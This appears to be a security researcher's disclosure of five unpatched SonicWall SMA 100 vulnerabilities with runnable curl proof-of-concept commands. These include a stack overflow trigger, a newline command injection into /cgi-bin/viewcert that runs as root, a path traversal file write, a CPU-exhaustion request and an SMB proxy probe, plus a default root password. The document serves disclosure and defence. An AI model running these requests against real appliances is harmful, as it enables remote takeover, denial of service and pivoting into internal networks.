The following issues are unpatched vulnerabilities in SonicWall's SMA 100 Series. Testing was done using SMA 500v using firmware versions 9.0.0.11-31sv and 10.2.1.1-19sv. Because these two versions are substantially different under the hood, not all of the issues affect both versions. As such, for each issue I'll call out specifically which versions are affected. Note that no testing was done on the 10.2.0.x version line.
Vector | Auth | Affected | Component | Vulnerability | Vector |
---|---|---|---|---|---|
Remote | Unauthenticated | 10.2.1.1-19sv | httpd | Stack-based buffer overflow | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Remote | Authenticated | Both | Multiple cgi | Command injection | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Remote | Unauthenticated | 10.2.1.1-19sv | sonicfiles | File upload path traversal | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L |
Remote | Unauthenticated | Both | sonicfiles | CPU exhaustion | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Remote | Unauthenticated | Both | sonicfiles | Confused deputy | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
Affected version: 10.2.1.1-19sv
Description:
The web server on tcp/443 (/usr/src/EasyAccess/bin/httpd) is a slightly modified version of the Apache httpd server. One of the noteable modifications is in the mod_cgi module (/lib/mod_cgi.so). Specifically, there appears to be a custom version of the cgi_build_command
function that appends all the environment variables onto a single stack-based buffer using strcat
.
There is no bounds checking on this environment string buildup so if a malicious attacker were to generate an overly long QUERY_STRING
then they can overflow the stack-based buffer. The buffer itself is declared at the top of the cgi_handler
function as a 202 byte character array. Although, it's follow by a lot of other stack variables so the depth to cause the overflow is a fair amount more.
Regardless, the following curl
command demonstrates the crash when sent by a remote and unauthenticated attacker:
curl --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
The above will trigger the following crash and backtrace:
Technically the above crash is due to an invalid read, but you can see the stack has been successfully overwritten above. A real exploit should be able to return to an attacker desired address. The system does have ASLR enabled, but it has three things going against it:
- httpd's base address is not randomized.
- When httpd crashes it is auto restarted by the server, giving the attacker oppurtunity to guess library base addresses (if needed)
- SMA 100 series are 32 bit systems and ASLR entropy is low enough that #2 is actually a feasible approach.
Meaning, a real exploit for this issue is actually plausible. Now, it is important to note that httpd
is running as nobody
so you don't get to go straight to root
access but you can also just su
to root using the password "password" sooooooo. SonicWall might want to consider addressing that as well.
Suggested CWE: CWE-121
Suggested CVSSv3 Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected version: 9.0.0.11-31sv and 10.2.1.1-19sv
Description:
The web interface uses a handful of functions to scan user provided strings for shell metacharacters in order to prevent command injection vulnerabilities. There are three functions, that I'm aware of, that implement this functionality (all of which are defined in libSys.so):
- isSafeCommandArg
- safeSystemCmdArg
- safeSystemCmdArg2
They all scan for the normal characters &|$><;` etc. but they do not scan for the new line character ('\n'). That is problematic because when used in a string passed to system
then it will act as a terminator. What I'm saying is that SMA 100 series rely on the above functions to prevent command injection, but they overlook this key character. There are a variety of vectors an attacker could use to bypass these checks and hit system
, but I'll just talk about one since it gives root access: /cgi-bin/viewcert
.
The web interface allows authenticated individuals to upload, view, or delete SSL certificates. When deleting a certificate, the user provides the name of the directory that the certificate is in. These names are auto-generated by the system so they look like newcert-1, newcert-2, newcert-3, etc. A normal request would have something like CERT=newcert-1 in it. The CERT variable makes it to a system
call as part of an rm -rf %s
command. Therefore, an attacker can execute arbitrary commands by using the '\n' logic in CERT. For example, the following would execute ping to 10.0.0.9:
CERT=nj\n ping 10.0.0.9 \n
To see that in a real request we have to first log in:
curl -v --insecure -F username=admin -F password=labpass1 -F domain=LocalDomain -F portalname=VirtualOffice -F ajax=true https://10.0.0.6/cgi-bin/userLogin
The system will set a swap
cookie. That's your login token, just swap that into the following request. The following requests executes ping via viewcert:
curl -v --insecure --Cookie swap=WWR0MElDSXJuTjdRMElTa3lQTmRPcndnTm5xNWtqN0tQQUlLZjlKZTM1QT0= -H "User-Agent: SonicWALL Mobile Connect" -F buttontype=delete -F $'CERT=nj \nping 10.0.0.9 \n' https://10.0.0.6/cgi-bin/viewcert
Now it's important to note that viewcert elevates privileges so that when the attacker hits system
they have root privileges. An attacker is obviously not limited to only executing this ping
command and I was able to get a bash shell, but it's a little involved in not worth going into for a disclosure.
Suggested CWE: CWE-78
Suggested CVSSv3 Score: 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - note that I didn't flip S:C... I probably should have but S:C is so utterly confusing it's easier to pretend it doesn't exist. PR:H because there are two user levels and you need the elevated one, administrator, to do this... although there is a default administrator account with default creds too so this might be more valuable than one might think).
Affected version: 10.2.1.1-19sv
Description:
The SMA 100 series allows users to interact with remote SMB shares through the HTTPs server. This functionality resides in the the endpoint: https://address/fileshare/sonicfiles/sonicfiles
. Most of the functionality simply flows through the SMA series device and doesn't actually leave anything on the device itself... except for RacNumber=43. That is supposed to write a file to /tmp/ ... but it's vulnerable to path traversal attacks.
To be a bit more specific, RacNumber=43 takes two parameters:
swcctn
: this value gets combined with /tmp/ + the current date to make a filename.- A JSON payload. The json is de-jsonified and written to the swcctn file.
There is no validation applied to swcctn
so an attacker can provide whatever. In the below, I write the file "hello.html.time" to the web server's root directory:
albinolobster@ubuntu:~$ curl --insecure --Cookie swap=bG9s --data '{"<html><body><h1>hello!</h1></body></html>": 0}' "https://10.0.0.7/fileshare/sonicfiles/sonicfiles?RacNumber=43&swcctn=../usr/src/EasyAccess/www/htdocs/hello.html."
{"timestamp": "03_44_48.211605"}
albinolobster@ubuntu:~/attackerkb_images/CVE-2021-20034$ curl --insecure https://10.0.0.7/hello.html._03_44_48.211605
<html><body><h1>hello!</h1></body></html>
A visual:
There are some real limitations to this:
- File writing is done with
nobody
privileges. That limits where we can write significantly - although being able to write to the web server's root feels like a win. - The attacker can't overwrite anything due to the random digits attached to the filename.
Suggested CWE: CWE-23
Suggested CVSSv3 Score: 6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - I did A:L for potential affects of filling up disk. I don't feel great about it, but it's theoritically possible)
Affected version: 9.0.0.11-31sv and 10.2.1.1-19sv
Description:
An unauthenticated and remote adversary can consume all of the device's CPU due to crafted HTTP requests sent to https://address/fileshare/sonicfiles/sonicfiles
resulting in an infinite loop in the fileexplorer
process. The infinite loop is due to the way fileexplorer
parses command line options. When parsing an option that takes 2 or more parameters, fileexplorer
incorrect handles parameters that lack spaces or use the =
symbol with the parameter. For example, the following requests results in the infinite loop:
curl --insecure -v --Cookie swap=bG9s "https://10.0.0.6/fileshare/sonicfiles/sonicfiles?RacNumber=25&Arg1=smb://10.0.0.1/lol/test&Arg2=-elol&User=test&Pass=test"
The above request will result in fileexplorer
being invoked like so:
/usr/sbin/fileexplorer -g smb://10.0.0.9/lol/test -elol -u test:test
Parsing of "-elol" triggers the infinite loop. Each new request will spin up a new fileexplorer
process. Technically speaking, on the SMA 500v, only two such requests will result in ~100% CPU usage indefinitely. Output from top:
top - 06:35:59 up 1 day, 15:00, 2 users, load average: 2.20, 1.44, 0.67
Tasks: 121 total, 3 running, 106 sleeping, 0 stopped, 12 zombie
Cpu(s): 99.5%us, 0.4%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 4142504k total, 1975092k used, 2167412k free, 9244k buffers
Swap: 0k total, 0k used, 0k free, 404280k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4071 nobody 20 0 20712 9012 3020 R 99 0.2 5:00.33 fileexplorer
4057 nobody 20 0 20712 9012 3020 R 98 0.2 5:25.77 fileexplorer
1707 root 20 0 19960 9516 5132 S 1 0.2 12:03.02 httpd
1692 root 20 0 11696 3324 840 S 1 0.1 14:01.45 tunneld
Although it takes a number of additional requests to truly deny availibility. It should also be noted that this is a parameter injection issue (-e is injected). And, if the injection in this form didn't result in an infinite loop, the attack would have been able to exfiltrate arbitrary files.
Suggested CWE: CWE-835
Suggested CVSSv3 Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Affected version: 9.0.0.11-31sv and 10.2.1.1-19sv
Description:
An unauthenticated and remote attack can use SMA 100 series devices as an "unintended proxy or intermediary" (aka Confused Deputy - see CWE-441). Largely, that means an outside attacker can use the SMA 100 series device to access systems reachable via the devices internal facing network interfaces. There are two reasons this is possible:
- Sonicfiles does not appear to validate the requestor's authentication cookie until after the
fileexplorer
request is made on the attackers behalf. - The security check validating that the endpoint
fileexplorer
is accessing is allowed is commented out from RacNumber 25 (aka COPY_FROM). Note the "_is_url_allow" logic below:
def copy_from(self, partialCmd):
arg1 = self.get_decoded_url('Arg1')
#Only Arg1 is enough.. Just collecting bcoz the client sends
filename = request.args.get('Arg2')
logger.debug("{} Entering copy_from:: full_path: {} filename: {}".format(SONICFILES, arg1, filename))
#_is_url_allow = self.is_url_allow(self.conn_id, arg1, SMB_READ)
#if(_is_url_allow["status"] != "SUCCESS"):
# return _is_url_allow#{"status":"NOT_PERMITTED"} -> Permission Deny
cmd_list = partialCmd.split()
cmd_list.append(arg1)
cmd_list.append(filename)
The result is the following:
- An attacker can bypass the SMA 100 series device's firewall with SMB-based requests.
- An attacker can make arbitrary read/write SMB requests to a third party the SMA 100 device can reach. File creation, file deletion, and file renaming are all possible.
- An attacker can make TCP connection requests to arbitrary IP:port on a third party, allowing the remote attacker to map out available IP/ports.
Although there are limitiations:
- The attacker does have to honor the third party SMB server's authentication. So to read/write they'll need credentials (or anonymous/guest access). Although there is a username/password caching scheme in sonicfiles that the attacker could potentially (however unlikely) leverage.
- An unauthenticated attacker will not see responses so the attack will be blind. Determining the result of an attack/scan will rely on timing and server error codes.
Just as a purely theoritical example, the following requests sends a SYN to 8.8.8.8:80:
curl --insecure -v --Cookie swap=bG9s "https://10.0.0.6/fileshare/sonicfiles/sonicfiles?RacNumber=25&Arg1=smb://8.8.8.8:80/test&Arg2=test&User=test&Pass=test"
Resulting in this netstat
output:
root@sslvpn:/ # netstat -tupn
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 1 10.0.0.6:50812 8.8.8.8:80 SYN_SENT 5218/fileexplorer
Suggested CWE: CWE-441
Suggested CVSSv3 Score: 6.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - I:L due to the potential ability to write/modify on SMB servers the attacker isn't supposed to have access to... think SambaCry/EternalRed style attacks).